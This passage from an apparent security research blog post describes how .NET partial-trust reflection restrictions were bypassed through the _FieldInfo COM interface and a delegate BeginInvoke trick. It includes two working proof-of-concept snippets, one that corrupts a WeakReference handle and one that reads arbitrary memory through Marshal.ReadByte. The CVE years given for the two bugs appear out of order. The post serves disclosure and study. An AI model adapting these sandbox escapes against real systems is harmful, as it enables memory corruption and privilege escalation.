Okay so the challenge is simple, just find a method which is equivalent to SetValue but isn't FieldInfo.SetValue. It turns out that FieldInfo implements the interface System.Runtime.InteropServices._FieldInfo which is a COM interface for accessing the FieldInfo object. It just so happened that someone forgot to add this interface's methods to the blacklist. So let's see a real PoC by abusing the WeakReference class and its internal m_handle field:
// Create a weak reference to 'tweak'
string s = "tweakme";
WeakReference weakRef = new WeakReference(s);

// Get field info for GC handle
FieldInfo f = typeof(WeakReference).GetField("m_handle", 
                BindingFlags.NonPublic | BindingFlags.Instance);

MethodInfo miSetValue = typeof(_FieldInfo).GetMethod("SetValue", 
        BindingFlags.Public | BindingFlags.Instance, null, 
 new Type[2] { typeof(object), typeof(object) }, null);

Action<object, object> setValue = (Action<object, object>)
        Delegate.CreateDelegate(typeof(Action<object, object>),
 f, miSetValue);

// Set garbage value in handle
setValue.EndInvoke(setValue.BeginInvoke(weakRef, 
         new IntPtr(0x0c0c0c0c), null, null));

// Crash here read AV on 0x0c0c0c0c
Console.WriteLine(weakRef.Target.ToString());

CVE-2014-1895 described the issue with all similar COM interfaces, such as _MethodInfo, _Assembly, _AppDomain. So I sent it over to MS and it was fixed. But of course even though you point out a security weakness in one part of the code it doesn't necessarily follow that they'll fix it everywhere. So a few months later I found that the IReflect interface has an InvokeMember method which was similarly vulnerable. This ended up as CVE-2013-3132, by that point I gave up looking :-)

As a final note there was a similar issue which never got a CVE, although it was fixed. You could exploit it using something like the following:
MethodInfo mi = typeof(Delegate).GetMethod("CreateDelegate", 
    BindingFlags.Public | BindingFlags.Static, 
    null, new Type[] { typeof(Type), typeof(MethodInfo) }, null);

Func<Type, MethodInfo, Delegate> func = (Func<Type, MethodInfo, Delegate>)
           Delegate.CreateDelegate(typeof(Func<Type, MethodInfo, Delegate>), mi);
                
Type marshalType = Type.GetType("System.Runtime.InteropServices.Marshal");
MethodInfo readByte = marshalType.GetMethod("ReadByte", 
    BindingFlags.Public | BindingFlags.Static,
    null, new Type[] { typeof(IntPtr) }, null);

IAsyncResult ar = func.BeginInvoke(typeof(Func<IntPtr, byte>), readByte, null, null);
Func<IntPtr, byte> r = (Func<IntPtr, byte>)func.EndInvoke(ar);

r(new IntPtr(0x12345678)); 

It's left as an exercise for the reader to understand why that works (hint: it isn't a scope issue as Marshal.ReadByte is public). I'll describe it in more detail next time.